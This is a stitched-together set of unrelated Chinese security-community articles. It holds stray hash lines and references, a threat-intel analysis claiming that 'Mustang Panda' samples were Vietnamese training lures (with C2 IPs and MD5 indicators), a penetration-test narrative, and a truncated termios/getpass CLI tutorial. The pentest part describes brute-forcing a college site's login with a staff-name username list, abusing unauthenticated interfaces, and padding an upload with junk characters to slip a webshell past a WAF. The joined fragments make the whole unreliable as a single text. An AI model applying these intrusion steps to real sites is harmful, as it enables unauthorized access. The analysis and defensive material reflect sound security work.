fe852bb041f4daba68a80206966e12c0
87ad582f478099a6d98bf4b2527d0175
4d30ea0082881d85ff865140b284ec3f
f264626b18a074010f64cf3e467c4060
bc102766521118a99fc99c09beb8b5fe
18d156e18a9c23bc1ea9dbe5ca1bdb9d
d8f6c66f84546ef19d8373f3bc9f1185
038d513fe3d04057b93a81e45826d141
72ecf3804af2d9016fa765a708e25b7c
5c5cffca81810952b66d8d7bb3bd2065
324445e12e6efabd9c9299342bd72e29
5585ea31ee7903aade5c85b9f76364e8
53b31f65bb6ced61c5bafa8e4c98e9e8
b48c3f716ebdb56ec2647b1e83049aa3
097c83d36393cc714e9867bd87871938
2036755c86ce5ce006ca76a7025d5d09
2ea346432bfb1cbc120d43c4de906cda
4d412d13b20be55f6834eae8aba916a7
583c8dc8e20c8337b79c6f6aaacca903
29e8800ebaa43e3c9a8b9c8a2fcf0689
dce43ca5113bb214359d0d2d08630f38
e75c159d4f96a6a9307c7a32e98900e3
258eda999b9ac33c52b53f4d8c77dcb0
d6557715b015a2ff634e4ffd5d53ffba
baef0f7897694a3d2783cef0b19239be
2c522f3527def8ac97958cd2c89a7c29
参考链接
[1]南亚APT组织“透明部落”借新冠肺炎针对周边国家和地区的攻击活动分析
<https://ti.qianxin.com/blog/articles/analysis-of-apt-attack-activities-in-neighboring-countries-and-regions/>
[2]穷源溯流：KONNI APT组织伪装韩国Android聊天应用的攻击活动剖析
<https://ti.qianxin.com/blog/articles/analysis-of-konni-apt-organization-attack-activities-disguised-as-korean-android-chat-application/>
[3]Twitter
<https://twitter.com/RedDrip7/status/1237983760802394112>
[4]Twitter
<https://twitter.com/RedDrip7/status/1237619274581041157>
[5]Twitter
<https://twitter.com/RedDrip7/status/1230683740508000256>
[6] “ Konni”和“ Kimsuky”的APT活动关联
<https://blog.alyac.co.kr/2347> | 社区文章 |
**作者：高级威胁研究团队@深信服千里目安全实验室
原文链接：<https://mp.weixin.qq.com/s/gN7cUwfy4q_wVOuTn13Sxw>**
### 1\. 概述
Mustang Panda
是CrowStrike最早披露的一个APT攻击组织，这个组织主要使用的后门是PlugX,CobaltStrike。因为PlugX被人溯源到是一个中国人开发的。所以很多安全公司发现有使用了PlugX了的攻击，就宣称这些攻击来自于中国。
Palo Alt one network的Unit42 Team在Virus Bulletin 2019年会上发表了一篇名为”Pulling the
PKPLUG: the Adversary Playbook for the long-standing espionage activity of a
Chinese nation state
adversary”的报告，报告中没有任何直接证据的指控一些攻击行为来自于中国国家资助的APT组织。它们的唯一的判断依据是攻击者使用了PlugX。Anomali公司在自己的安全年会上也发布一篇名为”China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector
Organizations”的报告。这篇报告声称来自中国的APT组织，攻击了德国，越南，蒙古，缅甸，巴基斯坦等国家。unit42
Team和Anomali公司分析的样本基本上是一样的。
近期我们又发现了类似的样本，在溯源的过程中找到了一个越南的安全公司的博客。在这个博客里,作者提到了他分析的一个样本，样本是针对越南的一个省政府。这个博客的作者后来发现，这个省政府最近做了一次信息安全的培训并且把演练的内容公布了出来。博客作者提到的样本，我们也发现了。经过关联，我们发现不少类似的邮件，这些邮件都是用于信息安全培训的。我们还在样本的PDB路径中发现了一个越南人的名字，这些信息证明了所谓的Mustang
Panda的攻击是一场乌龙，国外安全厂商只不过是见猎心喜而已。
### 2.样本分析
邮件的内容:
这个封邮件的主题是说由于疫情的原因，9月份和10月份的工资和社保现在补发。邮件的附件是一个名字为”824_BHXHV0002.pdf.zip”的压缩包。打开之后里面实际上是一个lnk文件(MD5:
d8fa9b6e4ffd02fd3006e505f7368ea7)。这个lnk包含一个HTA文件：
点击lnk文件后就会触发恶意代码的执行,HTA会释放一个名称为”TEMP\3.ps1”的powershell 文件：
释放出来的PDF文件的内容如下：
释放的zBcga.exe是使用C#编写，在dnspy看到如下内容：
这个样本是某个版本的njRat,接着我们找到了它的C&C服务器：
103.68.251.102([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=103.68.251.102))
是一个越南的IP，位置是越南岘港。
### 3\. 溯源分析
我们在上面的Lnk文件中发现了一个MachineId字段,字段的值是win-egbvi09sep9。这个字段代表了生成lnk文件的PC的名字。根据这个名字我们进行了搜索，然后发现有人怀疑类似的样本可能使用的是模板或者是越南CERT的测试用例[5]。
然后我们分析了推特上提到的样本，发现攻击流程和我们分析的完全一致。只是这个样本弹出一个计算器。显然这是一个测试用例。并且这个文件是在VirusTotal上显示上传者的国家是越南。
我们发现2020年初的时候，越南的安全厂商viettel cyber security发布了一篇博客，报告的名字是”Mustang Panda – m?t
case d? khóc d? c??i”,翻译过来就是”Mustang Panda---一个非常有意思的案例”[4]。在博客中作者提到，CrowStrike的印度员工联系了他，声称来自中国的Mustang Panda
APT组织攻击了越南政府。作者感到奇怪的是邮件是针对越南的一个中南部的省份。作者分析完后，回到家突然想起来那个省份最近做了一次信息安全的培训并且公布了细节。他确信分析的样本就是那次培训中用到的。作者也提及了他们在工作中也多次发现了安全培训中用到的样本。
我们找到了越南那个省的公告[6]，其中演练的背景如下：
这段话翻译过来就是：广义省XYZ机构发生一起网络信息安全事件，现在该部门向广义省信息通讯部提出协助故障排除和追踪溯源的请求。基本信息是：名称为ABC的官员使用的电子邮件是[email protected]，收到了一个名为Nguyen
Thanh
Tra的人，地址是[email protected]的邮件。邮件的主题是”求职者简历”。这个官员查看了这封邮件。目前XYZ网络里发现了一些可疑的连接。
包含[email protected]
这个邮件地址的邮件，我们共发现了三个。这三封邮件的内容完全一样，只是收信人不一样。其中一封邮件中就包含广义省的公告中提到的收件人：
我们判断这封邮件就是广义省信息安全培训中用到的邮件。我们发现这个邮件中的样本和我们前面分析邮件中的样本的攻击流程完全一样。并且和前面的越南的那家安全公司分析的样本是一样的。这个邮件的附件的payload也是njRat,
C&C服务器是103.68.251.31([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=103.68.251.31))，是一个越南的IP。另外两封邮件如下：
这三封邮件除了收件人不一样外,其他的完全一样。这两封分别是和越南社保局、越南莱州省政府有关。103.68.251.31([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=103.68.251.31))这个IP地址和我们前面分析的的邮件中C&C
地址103.68.251.102([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=103.68.251.102))高度接近，它们都属于越南岘港市。岘港市是越南的第四大市。因此我们判断我们前面分析的邮件是越南的信息安全部门在安全培训中使用的。
越南CERT部门在2019年10月30，发布了一篇通告。通告的大致内容是越南的信息安全部对越南的网络进行监控发现了有针对性的网络攻击（APT），该攻击对于越南政府机构的信息系统和重要国家基础设施的所有者散布了大量的恶意代码。越南的信息安全部在这项攻击中共发现了16个以上的恶意软件变种，受影响的IP多达400000个IP。越南CERT在通告中公布了19个文件的MD5值，我们找到了16个文件。对这些文件做了分析后发现，这些样本和越南广义省的信息安全培训中用的样本的攻击流程一样。唯一区别是越南CERT公布的样本的payload是CobaltStrike或者PlugX。分析结果如下：
我们注意到MachineID为win-egbvi09sep9的样本共出现了8次。我们前面提到的邮件中LNK文件的MachineID都是这个值。这些MachineID去重后共有5个：
(1)win-egbvi09sep9
(2)win-jq9h4qp3a4u
(3)win-ha4ucnjj6cg
(4)win-2a9b78ts069
(5)win-nuptedkl53m
这些样本的执行流程如下：
如果payload是CobaltStrike,会创建一个名为为”Security Script
kb00769670”的任务计划，伪装成windows的更新程序。其中kb00769670是可变的。Plugx使用了ESET公司的一个签名的文件。这个文件原始名是EhttpSrv.exe,它运行后会加载http_dll.dll。Payload是Plugx时，除了会释放诱饵文件外，还会释放3.exe,http_dll.dll,http_dll.dat三个文件。前面的邮件中包含的LNK文件的执行流程和这些样本的执行流程是一样的，只是payload换成了njRat。
通过对所有样本的分析,我们判断应该存在一个可配置化的攻击工具框架，这些样本都是同一套工具产生的，但是由不同配置选项产生的。越南CERT用于安全演练的样本是不是他们仿造了真实的攻击中使用的工具？我们觉得可能性并不大。工具应该并不复杂，但是仿造起来也是很费力气的。目前我们没有发现公开的生成这些样本的工具。
我们在分析过程中发现了不少疑似测试的样本，这些样本的C&C server IP在越南CERT发布的通告列表中。比如文件名为: test2.exe (
MD5: e343f1d68549f8558b2bb512e082ff2f)
这个文件中包含一个PDB路径：
C:\Users\PHAM KIM CUONG\Documents\Visual Studio
2008\Projects\test2\Release\test2.pdb
这个路径中包含一个开发者的名字:PHAM KIM
CUONG。通过搜索这个名字发现,这个名字在越南比较常见。这个样本是在2019年3月17日被上传到Virus
Total上的，并且上传者的国家是越南。这个样本使用的payload是CobaltStrike，样本执行后会链接144.202.54.86。这个IP在我们发现的另一封邮件中出现过：
这封邮件中包含的LNK文件没有使用HTA文件而是直接运行powershell，后续的攻击流程和前面是一样的。LNK文件的payload是CobaltStrike,C&C
服务器是144.202.54.86。所以这封邮件和这个名为PHAM KIM
CUONG的人有很大关系。我们也能判断这一类攻击绝对不能简单的判断是所谓的”来自中国的攻击”。
越南CERT的通告中提到一个infosecvn.com域名，我们查询发现一个越南人经常使用infosecvn这个字符串。我们找到了他的博客，脸书，推特信息：
这个人是一个越南的网络安全专业的学生。和infosecvn.com绑定的同一个IP的另一个域名aridndvn.com也是很有意思。”aridnd”估计是仿造自”aribnb”,上面的名字为PHAM
KIM
CUONG的越南人是Aribnb的第100号员工。这不是重点，重点是在越南CERT的报告中提到的aridndvn.com，我们分析的所有样本中都没有这个域名。我们只发现样本访问了”aridndvn.ccom”。如果在google上搜索aridndvn.ccom，可以找到四家安全厂商的分析报告中提到了这个域名。这四家分别是avira，Any.Run,
cmc
cybersecurity(越南的一家安全公司),Anomali。如果搜索aridndvn.com则没有任何和恶意代码相关的内容。显然是有人在填写PlugX配置时写错了，我们发现有三个样本的配置里都是”aridndvn.ccom”。我们不想搞阴谋论，我们只是描述我们发现的现象。
### 4\. 关于Unit42 Team和Anomali团队报告
在我们分析完成时，我们又谨慎的读了一下Unit42 Team和Anomali的报告，发现我们同行的结论几乎经不起推敲。下面举几个例子进行讨论。
#### 4.1 Anomali的报告
(1) Daily News (19-8-2019)(Soft Copy)(MD5: 5f094cb3b92524fced2731c57d305e78)
Anomali
声称这个文件是针对缅甸的山泰族，并称”攻击少数群体是中华人民共和国的一个已知的策略”。这个说辞让人啼笑皆非。这个文件的MD5出现在越南CERT发出的通告中。如果真的是攻击样本,越南CERT难道看不出来是和缅甸相关的吗？
(2) European.lnk(9ff1d3af1f39a37c0dc4ceeb18cc37dc)
Anomali 声称这个文件是针对China-Zentrum eV。China-Zentrum
eV在官网上声称是一个指在促进西方和中国进行文化，宗教交流的非营利组织。这个组织和越南没有任何关系。很不幸，这个文件的MD5也出现在越南cert发出的通告中。
Anomali在报告中提到了17个LNK文件，其中有16个出现在越南CERT通告中。这样Anomali所宣称的”Mustang Panda
攻击了德国，蒙古，巴基斯坦，缅甸”的结论根本不成立。
#### 4.2 Unit42 Team的报告
Unit42 Team的情况和Anomali的情况类似，我们这里讨论不出现在越南CERT的通告列表中的文件。Unit42
Team从推特上获得有人发现的Plugx样本。这些样本不是lnk而是exe，它们都是nsis安装包。使用7z解压后如下：
这里仍然使用DLL Side-Loading攻击方法并且文件也是前面所提到的ESET的签名文件。这个样本的C&C server 是apple-net.com。这个域名出现在越南CERT通告的C&C server列表里，并且我们也在lnk相关的样本中找到了这个域名。
我们先来欣赏一下unit42 团队的分析：
unit42 认为名为为NATIONAL SECURITY CONCEPT OF
MONGOLIA.exe的文件是针对蒙古政府的。这个文件名翻译过来应该是”蒙古国国家安全法全文”。通过google查询可知这个法律至少在1993年就已经存在了。重点是蒙古国是一个官方语言是蒙古语的国家,向蒙古政府发送一个英文版的”蒙古国安法全文”。蒙古国的官员会上当吗？这就好比向中国政府发送一个英文版的《中国宪法全文》，中国的官员会上当吗？所以这个样本绝对不是针对蒙古政府的。如果是真实的攻击，那也是针对对国家安全法感兴趣的非蒙古国的立法机关或者智库。我们在Virus
Total上发现了多个从越南上传的疑似测试用的样本，这些样本也有使用自解压包作为攻击手段的。在越南CERT发布的通告中的样本有一个是和蒙古航空有关的图片。所以我们判断NATIONAL
SECURITY CONCEPT OF MONGOLIA.exe和DSR & CSR of Special Branch
Sind.exe是测试样本或者其他国家在信息安全演练中的样本。
##### 5\. 越南部分政府部门2020安全培训
我们搜索了一下，发现在2020年年末，越南不少的政府部门在官方网站上公布了他们举行的信息安全培训。
时间 | 来源 | 参与单位
---|---|---
2020年12月11日 | 奠边省信息和通讯部 |
宣光省、永福省、富寿省、河杨省、老街省、莱州省、山罗省、奠边省、安沛省的国家事故响应网络的单位和成员的信息安全和信息技术官员。
2020年12月11日 | 广义省新闻网站 |
信息与通信技术中心（信息与通信部下属）与CyRadar信息安全股份公司合作，参与人员是广义省网络信息安全事件响应团队的成员。
2020年11月21日 | 谅山省政府网站 | 谅山省、曹邦省、北(?)省,太原省,北宁省,北江省
由于我们不懂越南语，完全依靠google翻译，我们只能在这里面列举很少的部分。另外我们也注意到越南信息安全部门曾经和卡巴斯基、bkav等公司合作,举办过信息安全的攻防演练。我们强烈呼吁信息安全行业同行，在对APT攻击分析和溯源时一定要注意这些信息安全培训。
### 6.总结
PlugX是一个存在了8年以上的远控工具，它被国内外的不少安全厂商分析过。虽然PlugX被国外安全公司发现是中国的一个网名为”无花果(WHG)”的安全爱好者开发的，这也不能证明每次利用PlugX发起的攻击都是来自中国的。PlugX有多个版本的生成器，不少都能在网络上找的到，也在不少的安全厂商的报告中出现过。我们认为如果发现非中国的攻击者使用PlugX也不是不可能。
在我们分析完样本后，最让我们费解的是越南的广义省和莱州省有什么重要的，以至于会引起”APT攻击组织”的兴趣。虽然我们隐约觉得这可能不是真实的攻击，但我们没有证据。感谢越南的viettel
cyber security公司帮我们解开了疑惑。在CrowStrike公司的印度员工坚持是来自中国的Mustang Panda
攻击了越南政府时，我们的越南同行阻止了一次针对中国的抹黑。同时我们也要感谢越南广义省政府公布了演练的细节，这个细节成为我们反驳不实指控的证据。类似的误把信息安全演练当作APT攻击的案例，在国内也有过。为了避免引起不必要的争论，我们不去谈那件事的细节。
安全没有国界，所有的安全研究者应该共同对抗来自世界各地的攻击。当看到Unit42
Team和Anomali团队在没有直接证据的情况下，仅仅凭借文件名和文件内容，就做出了”中国国家支持的APT组织”和”来自中国的Mustang Panda
APT组织”的结论，我们真的很遗憾。在对APT攻击进行溯源的过程中,地缘政治是最重要的一个判定依据。但是地缘政治不是万能灵药。随着各国对信息安全的重视，类似的信息安全培训会越来越多。作为安全研究人员不应该见猎心喜，不负责任的作出结论。
### 7\. IOC
MD5：
d8fa9b6e4ffd02fd3006e505f7368ea7
80bcda9fde78c70566c6f693f1c7938f
5781a2b62de1f3301e38394607b03d79
IP:
103.68.251.102([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=103.68.251.102))
103.68.251.31([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=103.68.251.31))
144.202.54.86([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=144.202.54.86))
### **8.** 参考
(1) “我兔”的典故，请参考”小白兔的光荣往事”
(2) Meet CrowdStrike’s Adversary of the Month for June: MUSTANG PANDA
<https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/>
(3) Pulling the PKPLUG: the Adversary Playbook for the long-standing espionage
activity of a Chinese nation state adversary
<https://www.virusbulletin.com/blog/2020/03/vb2019-paper-pulling-pkplug-adversary-playbook-long-standing-espionage-activity-chinese-nation-state-adversary/>
(4) China-Based APT Mustang Panda Targets Minority Groups, Public and Private
Sector Organizations
<https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations>
(5) Mustang Panda – một case dở khóc dở cười
<https://blog.viettelcybersecurity.com/mustang-panda-mot-case-do-khoc-do-cuoi/>
(6) <https://twitter.com/cyber__sloth/status/1298719815964618753?lang=en>
(7) <http://lichlamviecsld.nuian.vn/items/files/1_1341.PDF>
(8) <http://www.vncert.gov.vn/baiviet.php?id=127>
* * * | 社区文章 |
相关漏洞已提交官方，并修复，请勿未授权进行渗透测试。
## 前言
打工人，打工魂，打工都是人上人。
好家伙一到工地,就来了一车砖.xls。话不多说咱开搬。
是某学院的站点
像这种官网主站都做得比较好了,我一般会找子站这种软柿子捏捏(太菜)，经过一番查找,找到个看起来比较软的柿子,掏出我的xray+awvs就是一通扫,好家伙，啪一下，很快啊，页面就开始爆红。好吧，果然脏活累活只能亲自上手，只希望今天的砖不要太烫手。
## 访问主页面
来到这个子站就发现功能处有个内部办公功能
点击内部办公
输入万能口令admin/admin就是一把梭，
好吧，嗦不动。但是看着好像用户名可以爆破。
那就掏出我的1万大字典，先来爆破他个用户名看看，线程调低些。
(忘记截图了(lll￢ω￢))
Burp还在跑的时候，我看到左下角有个坏掉了的图片，
点开一看，居然是大名鼎鼎的360webscan,但是好像已经失效了。
咳咳，扯远了
过了一会儿,burp也爆破完了,我的1万大字典居然一个也没爆到。
## 生成字典
那既然直接爆破不行，那就去网页上看看有什么泄露的信息
果然，网站上有个教师风采
把这些教师的名字的缩写做成用户名字典，再辅以我的1万大密码字典
成功爆出用户名和密码
## 登录后台
来到后台发现应该是个普通权限的用户，只有添加习题和查看习题的功能
点击添加习题，是个文件上传界面，先直接上传一个php文件
返回添加成功,但是页面上没有回显地址
抓包来看
也是一样的没有地址回显。这时候再查看一下已发布的习题
发现已经成功上传了,但就是没有文件地址……
## 未授权访问
现在现有功能没办法上传，但是后台都进了，总不能空手而归。但是刚刚一顿操作下来，感觉这个后台设计的很简陋，安全练习时长半个月的我突然想到像这种后台一般都是自己写的，而且对访问权限的管理一般都不严格。
说干就干，
查看网页源代码一通找，看看有没有什么泄露的地址。
查看源码发现这个后台好像还用了什么框架
Js里也没发现其他链接,再看看cookie
居然什么都没有,当时我气急败坏,一怒之下把cookie的值给删了，再次访问页面。提示登录超时
在我点了确定，想着隔壁保安好像还缺个位置，好家伙页面居然没有自动跳转到首页，还把所有功能接口都显示出来了。
换个浏览器登录，将未授权的接口用之前账号的cookie来访问，选择教薪导入咨询信息上传这个功能。
上传一个txt用burp抓包，修改文件名和文件内容
点击send发现被弃包，应该存在waf。
经过测试发现应该是对上传的文件内容进行检测
换成图片马上传也不行，于是用填充垃圾字符消耗waf内存的方法绕过waf，我这里用了54万的字符
成功上传
然后连接 | 社区文章 |
# 一种输入回显限制的CLI编写思路
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 写在前面
前两天对某厂商的路由器进行测试(已获授权)时，发现目标设备的`SSH/Telnet`连入后会被强制进入一个`CLI`中。此`CLI`会对用户的输入进行限制，当用户输入的命令不是预置命令时将会无法回车提交。于是对此种`CLI`的实现机制产生了兴趣，本文将说明一种可行的安全`CLI`的编写思路。
## 0x01 实现思路
首先最直观的想法，我们无法使用空格进行提交，说明回车符(`Space`)被程序忽略了。或者说，我们的输入并没有被预期的打印，那么按这个思路来想，可以很容易的想到`Linux`下的密码输入有同样的特点。
在输入密码时，我们的输入能被后端捕获，但是不会显示在屏幕上，同时`^C`之类的控制指令也会同时失效。
## 0x02 库函数实现
那么`Linux`是否提供了相应的函数以供我们使用呢？答案是肯定的，那就是`getpassword`函数。
在`man`手册中，此函数的函数原型如下：
#include <unistd.h>
char *getpass(const char *prompt);
函数描述为：
DESCRIPTION top
This function is obsolete. Do not use it. If you want to read
input without terminal echoing enabled, see the description of
the ECHO flag in termios(3).
The getpass() function opens /dev/tty (the controlling terminal
of the process), outputs the string prompt, turns off echoing,
reads one line (the "password"), restores the terminal state and
closes /dev/tty again.
显然，此函数是一个过时函数了，但是我们或许可以从它的实现中找到我们真正感兴趣的东西。（函数定义位于`glibc/misc/getpass.c`）
/* Copyright (C) 1992-2019 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
#include <stdio.h>
#include <stdio_ext.h>
#include <string.h> /* For string function builtin redirect. */
#include <termios.h>
#include <unistd.h>
#include <wchar.h>
#define flockfile(s) _IO_flockfile (s)
#define funlockfile(s) _IO_funlockfile (s)
#include <libc-lock.h>
/* It is desirable to use this bit on systems that have it.
The only bit of terminal state we want to twiddle is echoing, which is
done in software; there is no need to change the state of the terminal
hardware. */
#ifndef TCSASOFT
#define TCSASOFT 0
#endif
static void call_fclose (void *arg)
{
if (arg != NULL)
fclose (arg);
}
char * getpass (const char *prompt)
{
FILE *in, *out;
struct termios s, t;
int tty_changed;
static char *buf;
static size_t bufsize;
ssize_t nread;
/* Try to write to and read from the terminal if we can.
If we can't open the terminal, use stderr and stdin. */
in = fopen ("/dev/tty", "w+ce");
if (in == NULL)
{
in = stdin;
out = stderr;
}
else
{
/* We do the locking ourselves. */
__fsetlocking (in, FSETLOCKING_BYCALLER);
out = in;
}
/* Make sure the stream we opened is closed even if the thread is
canceled. */
__libc_cleanup_push (call_fclose, in == out ? in : NULL);
flockfile (out);
/* Turn echoing off if it is on now. */
if (__tcgetattr (fileno (in), &t) == 0)
{
/* Save the old one. */
s = t;
/* Tricky, tricky. */
t.c_lflag &= ~(ECHO|ISIG);
tty_changed = (tcsetattr (fileno (in), TCSAFLUSH|TCSASOFT, &t) == 0);
}
else
tty_changed = 0;
/* Write the prompt. */
__fxprintf (out, "%s", prompt);
__fflush_unlocked (out);
/* Read the password. */
nread = __getline (&buf, &bufsize, in);
if (buf != NULL)
{
if (nread < 0)
buf[0] = '\0';
else if (buf[nread - 1] == '\n')
{
/* Remove the newline. */
buf[nread - 1] = '\0';
if (tty_changed)
/* Write the newline that was not echoed. */
__fxprintf (out, "\n");
}
}
/* Restore the original setting. */
if (tty_changed)
(void) tcsetattr (fileno (in), TCSAFLUSH|TCSASOFT, &s);
funlockfile (out);
__libc_cleanup_pop (0);
if (in != stdin)
/* We opened the terminal; now close it. */
fclose (in);
return buf;
}
可以看到，此函数有会在入口尝试启动一个新的`tty`用于之后的操作，若没有多余的`tty`，将会尝试直接使用`stdin`和`stderr`作为输入输出流，随后它调用了`tcsetattr`对`stdin`进行了设置，然后就进入了文本读取逻辑，最后同样调用了`tcsetattr`进行了设置恢复从而使`stdin`恢复了正常，那么看起来最核心的函数就是`tcsetattr`了。
## 0x03 核心函数
我们来看看`tcsetattr`函数的实现，在`man`手册中，它的函数原型如下：
#include <termios.h>
int tcsetattr(int fildes, int optional_actions,const struct termios *termios_p);
`tcsetattr()`函数使用`termios_p`参数指向的`termios`结构体对`fildes`参数指定的文件描述符所对应的处于开启状态的文件流进行设置。`optional_actions`用于指定此配置生效的时机，定义如下：
* `TCSANOW`：此配置应立即生效。
* `TCSADRAIN`：在所有写入`fildes`的输出信息传输后生效，若更改会影响输出的参数时应使用此配置。
* `TCSAFLUSH`：在所有写入`fildes`的输出信息传输后生效，并且在更改之前应丢弃迄今为止接收到但未读取的所有输入。
那么接下来来看看`termios`结构体：
tcflag_t c_iflag; /* input modes */
tcflag_t c_oflag; /* output modes */
tcflag_t c_cflag; /* control modes */
tcflag_t c_lflag; /* local modes */
cc_t c_cc[NCCS]; /* special characters */
据`man`手册所述，没有对`termios`结构体的标准定义，但是一个`termios`结构体至少要求包含以上成员，而这恰好也是我们要用的成员变量。
### 输入模式控制`c_iflag`——控制终端输入方式
键值 | 意义
---|---
`IGNBRK` | 忽略`BREAK`键输入
`BRKINT` |
如果同时设置了`IGNBRK`，`BREAK`键的输入将被忽略，如果设置了`BRKINT`但是没有设置`IGNBRK`，`BREAK`键将导致输入和输出队列被刷新。如果终端是前台进程组的控制终端，这会导致此终端向前台进程组发送`SIGINT`中断信号。
当 `IGNBRK`和`BRKINT`均未设置时，`BREAK`键的输入将会被读取为空字节
(`\0`)，除非设置了`PARMRK`，此时`BREAK`键的输入将会被读取为序列`\377 \0 \0`
`IGNPAR` | 忽略帧错误和奇偶校验错误
`PARMRK` | 如果设置了该位，则在输入传递给程序时会标记具有奇偶校验错误或帧错误的输入字节。
仅当`INPCK`置位且`IGNPAR`未置位时，该位才有意义。 标记错误字节的方式是使用两个前面的字节，`\377`和`\0`。
因此，对于从终端接收到的一个错误字节，该程序实际上读取了三个字节。
如果有效字节的值为`\377`，并且未设置`ISTRIP`，则程序可能会将其与标记奇偶校验错误的前缀混淆。
因此，这种情况下有效字节`\377`作为两个字节`\377
\377`传递给程序。如果`IGNPAR`和`PARMRK`均未设置，则将具有奇偶校验错误或帧错误的字符读取为`\0`
`INPCK` | 对输入内容启用奇偶校验
`ISTRIP` | 去除字符的第`8`个比特
`INLCR` | 将输入的`NL`(换行)转换成`CR`(回车)
`IGNCR` | 忽略输入的回车
`ICRNL` | 将输入的回车转化成换行(如果`IGNCR`未设置的情况下)
`IUCLC` | 将输入的大写字符转换成小写字符(非`POSIX`)
`IXON` | 允许输入时对`XON/XOFF`流进行控制
`IXANY` | (`XSI`扩展)输入任何字符都将重新启动停止的输出(默认是只允许`START`字符重新启动输出)
`IXOFF` | 允许输入时对`XON/XOFF`流进行控制(笔者注：此处可能是手册有误，推测应为关闭`XON/XOFF`流控)
`IMAXBEL` | 当输入队列已满时响铃，`Linux`没有实现这个位，它会视为此标志永远被设置(非`POSIX`)
`IUTF8` | 将输入视为`UTF8`，这将允许在`cooked`模式下正确执行字符擦除
>
> ·`Break`键是电脑键盘上的一个键。`Break`键起源于`19`世纪的电报。在`DOS`时代，`Pause/Break`是常用键之一，但是近年来该键的使用频率逐年减少。在某些较旧的程序中，按这个键会使程序暂停，若同时按`Ctr`l，会使程序停止而无法执行。
>
> 因为`Break`可以中断程序，所以`Break`键也被称为`Pause`键。
### 输出模式控制`c_oflag`——控制终端输出方式
键值 | 意义
---|---
`OPOST` | 启用先处理后输出机制
`OLCUC` | 在输出时将小写字符映射为大写(非`POSIX`)
`ONLCR` | (`XSI`扩展)在输出时将`NL`(换行) 映射到`CR-NL`(回车-换行)
`OCRNL` | 将输入的`CR`(回车)转换成`NL`(换行)
`ONOCR` | 不在第`0`列输出`CR`(回车)
`ONLRET` | 不输出`CR`(回车)
`OFILL` | 发送填充字符以延迟终端输出，而不是使用定时延迟
`OFDEL` | 将填充字符设置为`ASCII DEL`(`0177`)，如果未设置此标志，则填充字符为`ASCII
NUL`(`\0`)(未在`Linux`上实现)
`NLDLY` | 换行输出延时，可以取`NL0`(不延迟)或`NL1`(延迟`0.1s`)
[需要`_BSD_SOURCE`或`_SVID_SOURCE`或`_XOPEN_SOURCE`]
`CRDLY` |
回车输出延时，可以取`CR0`、`CR1`、`CR2`或`CR3`[需要`_BSD_SOURCE`或`_SVID_SOURCE`或`_XOPEN_SOURCE`]
`TABDLY` |
水平制表符输出延时，可以取`TAB0`、`TAB1`、`TAB2`、`TAB3`(或`XTABS`，但请参阅`BUGS`部分)。`TAB3`即`XTABS`代表将制表符扩展为空格(每八列停止输出一次制表符)[需要`_BSD_SOURCE`或`_SVID_SOURCE`或`_XOPEN_SOURCE`]
`BSDLY` |
`Backspace`延迟输出延时，可以取`BS0`或`BS1`(从未实现)[需要`_BSD_SOURCE`或`_SVID_SOURCE`或`_XOPEN_SOURCE`]
`VTDLY` | 垂直制表符输出延时，可以取`VT0`或`VT1`
`FFDLY` | 换页输出延时，可以取`FF0`或`FF1`
[需要`_BSD_SOURCE`或`_SVID_SOURCE`或`_XOPEN_SOURCE`]
### 终端控制`c_cflag`——指定终端硬件控制信息
键值 | 意义
---|---
`CBAUD` | (非`POSIX`)设置波特率掩码(`4+1`位)[需要`_BSD_SOURCE`或`_SVID_SOURCE`]
`CBAUDEX` |
(非`POSIX`)设置额外的波特率掩码(`1`位)，包含在`CBAUD`中(`POSIX`定义波特率存储在`termios`结构中，没有指定精确的位置，并提供`cfgetispeed()`和`cfsetispeed()`来获取它。一些系统使用`CBAUD`在`c_cflag`中选择的位，其他系统使用单独的字段，例如`sg_ispeed`和`sg_ospeed`)[需要`_BSD_SOURCE`或`_SVID_SOURCE`]
`CSIZE` | 设置字符长度掩码，取值范围为`CS5`、`CS6`、`CS7`或`CS8`
`CSTOPB` | 设置两个停止位，而不是一个
`CREAD` | 启用接收器
`PARENB` | 启用输出奇偶校验生成和输入奇偶校验
`PARODD` | 如果设置，则输入和输出的奇偶校验为奇校验，否则使用偶校验
`HUPCL` | 在最后一个进程关闭设备(挂起)后，降低调制解调器控制线
`CLOCAL` | 忽略调制解调器控制线
`LOBLK` | (非`POSIX`)阻止来自非当前`shell`层的输出。此选项供`shl`(`shell`层)使用(未在`Linux`上实现)
`CIBAUD` | (非`POSIX`)输入速度掩码。`CIBAUD`位的值与`CBAUD`位的值相同，向左移位`IBSHIFT`位
[需要`_BSD_SOURCE`或`_SVID_SOURCE`](未在`Linux`上实现)
`CMSPAR` |
(非`POSIX`)启用`stick`(标记/空格)奇偶校验(某些串行设备支持)：如果设置了`PARODD`，则奇偶校验位始终为`1`，如果
`PARODD`未设置，则奇偶校验位始终为`0`[需要`_BSD_SOURCE`或`_SVID_SOURCE`]
`CRTSCTS` | (非`POSIX`)启用`RTS/CTS`(硬件)流控制 [需要`_BSD_SOURCE`或`_SVID_SOURCE`]
### 本地模式`c_lflag`——控制终端编辑功能
键值 | 意义
---|---
`ISIG` | 当接收到`INTR`、`QUIT`、`SUSP`或`DSUSP`中的任何字符时，生成相应的信号
`ICANON` | 启用规范编辑模式(以`\n`分割输入)
`XCASE` |
